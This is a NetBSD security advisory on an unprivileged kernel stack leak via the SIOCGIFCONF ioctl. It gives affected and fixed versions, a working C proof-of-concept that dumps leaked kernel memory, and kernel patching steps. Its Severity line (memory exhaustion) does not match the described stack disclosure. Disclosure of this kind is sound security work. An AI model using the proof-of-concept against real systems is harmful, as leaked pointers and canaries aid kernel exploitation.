BSDSec

deadsimple BSD Security Advisories and Announcements

NetBSD Security Advisory 2019-003: Unprivileged user kernel stack disclosure in SIOCGIFCONF

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

		 NetBSD Security Advisory 2019-003
		 =================================

Topic:		Unprivileged user kernel stack disclosure in SIOCGIFCONF

Version:	NetBSD-current:		affected prior to April 15, 2019
		NetBSD 8.0:		affected
		NetBSD 7.2:		affected
		NetBSD 7.1.2:		affected
		NetBSD 7.0.2:		affected

Severity:	Local user may cause the kernel to run out of memory


Fixed:		NetBSD-current:		April 15, 2019
		NetBSD-8 branch:	April 19, 2019
		NetBSD-7 branch:	April 19, 2019
		NetBSD-7-2 branch:	April 19, 2019
		NetBSD-7-1 branch:	April 19, 2019
		NetBSD-7-0 branch:	April 19, 2019

Please note that NetBSD releases prior to 7.1 are no longer supported.
It is recommended that all users upgrade to a supported release.

Abstract
========

An unprivileged user can leak a huge amount of kernel stack by issuing the
'SIOCGIFCONF' ioctl command.

Technical Details
=================

Kernel stack can be leaked to an unprivileged user at [1], because 'ifr' is
uninitialized and only 'sa->sa_len' are copied to 'ifr.ifr_space'.
The size of 'struct ifreq ifr' is 0x90 bytes and 'sa->sa_len' is usually
0x11 bytes. Hence, upto 0x7f bytes can be leaked.
This can expose sensitive information, pointers to bypass KASLR, stack
canaries which can be used to exploit stack buffer overflows, etc.

Proof-Of-Concept:

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>

/*
  Sample output:

  77 6D 30 00 00 00 00 00 00 00 00 00 00 00 00 00
  11 12 01 00 06 03 06 00 77 6D 30 08 00 27 56 80
  E1 EF CB 08 81 FE FF FF 00 10 00 00 00 00 00 00
  20 AE 1C 68 00 80 FF FF 00 00 00 00 00 00 00 00
  20 CC 92 1E 01 00 00 00 80 F7 4C 1B 81 FE FF FF
  40 AE 1C 68 03 00 00 00 80 F4 4C 1B 81 FE FF FF
  80 F4 4C 1B 81 FE FF FF 80 F7 4C 1B 81 FE FF FF
  80 F4 4C 1B 81 FE FF FF 10 57 3E 1B 81 FE FF FF
  00 52 C4 1E 81 FE FF FF 00 00 00 00 00 00 00 00
*/

void hexDump(const void *data, size_t size) {
  size_t i;
  for (i = 0; i < size; i++) {
    printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
  }
  printf("\n");
}

int main(int argc, char *argv[]) {
  struct ifconf conf;
  struct ifreq req[1];
  int fd;

  memset(req, 0, sizeof(req));

  fd = socket(AF_INET, SOCK_DGRAM, 0);

  conf.ifc_len = sizeof(req);
  conf.ifc_buf = req;
  ioctl(fd, SIOCGIFCONF, &conf);

  hexDump(req, sizeof(req));

  return 0;
}

[1] https://github.com/NetBSD/src/blob/trunk/sys/net/if.c#L3378

Solutions and Workarounds
=========================

Update the kernel to a fixed version and reboot.

To apply a fixed version from a releng build, fetch a fitting kern-GENERIC.tgz
from nyftp.netbsd.org and extract the fixed binaries:

cd /var/tmp
ftp https://nycdn.NetBSD.org/pub/NetBSD-daily/REL/latest/ARCH/binary/sets/kern-GENERIC.tgz
cd /
tar xzpf /var/tmp/kern-GENERIC.tgz

with the following replacements:
REL   = the release version you are using
ARCH  = your system's architecture


The following instructions describe how to upgrade your kernel by
updating your source tree and rebuilding and installing a new version.

For all NetBSD versions, you need to obtain fixed kernel sources,
rebuild and install the new kernel, and reboot the system.
                                      
The fixed source may be obtained from the NetBSD CVS repository.        
The following instructions briefly summarise how to upgrade your        
kernel.  In these instructions, replace:

  ARCH     with your architecture (from uname -m), and                  
  KERNCONF with the name of your kernel configuration file.    

To update from CVS, re-build, and re-install the kernel:

	# cd src
	# cvs update -d -P sys/path/to/file.c
	# ./build.sh kernel=KERNCONF
	# mv /netbsd /netbsd.old
	# cp sys/arch/ARCH/compile/obj/KERNCONF/netbsd /netbsd 
	# shutdown -r now

For more information on how to do this, see:    

   http://www.NetBSD.org/docs/guide/en/chap-kernel.html

Thanks To
=========

Andy Nguyen for discovering and reporting the issue.

More Information
================

Advisories may be updated as new information becomes available.
The most recent version of this advisory (PGP signed) can be found at 
  http://ftp.NetBSD.org/pub/NetBSD/security/advisories/NetBSD-SA2019-003.txt.asc

Information about NetBSD and NetBSD security can be found at
http://www.NetBSD.org/ and http://www.NetBSD.org/Security/ .


Copyright 2019, The NetBSD Foundation, Inc.  All Rights Reserved.
Redistribution permitted only in full, unmodified form.

$NetBSD: NetBSD-SA2019-003.txt.asc,v 1.1 2019/05/03 01:33:37 christos Exp $
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJcy5piAAoJEAZJc6xMSnBuBiYP/0W66ewcPSChlhngqzwsXqHq
B+BwbW6I/jOGE7BN5A9+MyZgzyWZRuVr/lPrTcB2Rl+AsFfWcUgAWHtXZiS6sF4w
ELAVUr4FKFXHh6/KcGPGoOZMOh4o18ZUKrCCWtuN2INvnEHqXbSGulY3OADg8Ese
q6fQGyhuhNwHxLS3MH4xPyN35YzrBFhYftU/gN7nBwVdxMZkmUSk0OnPIZx7BLVp
aay9W+aiL1t+RS7Sx8Nhu2+oVNll0Z88QGpH0U5fbWvYzhbxUQP+U5IaVXBQ61o/
VFjLAxNh2xX8AT44QguYFbH+kaTeiYmit7cnObLpZPvARIEzBXYH5wo0gqZmcpwp
zaWK19DDcANB/AqdrAg5mMd8OFDe+RpLN28VezJT4Smatnzrv0cZGCFntCsZx6d6
ykyyF1lrf/EH0mZykB/br/rdM9qxAqWZBkUYvKI21BSUhwIo4WYOYnah9uFyehqP
I/adV0hL5W9xfbu5WcR8x9BY9F+LA3mcVz+ShuFdlLZYcaj6yY4sOT/PyrJdKoDl
DRHT8CbS72OQRfOsMZ8xNCP5Mj30QwQZEch9WtRjcoVIyGpFx865KPAJXbgo6i8t
A23cpAWsubNgDkSuvQLfHsDtXpxlQfIkh/vAh+HY+W5Nj79LVII2C7jt4vTijcaY
ZJgmUblRPR/OrYUhegSV
=FhoG
-----END PGP SIGNATURE-----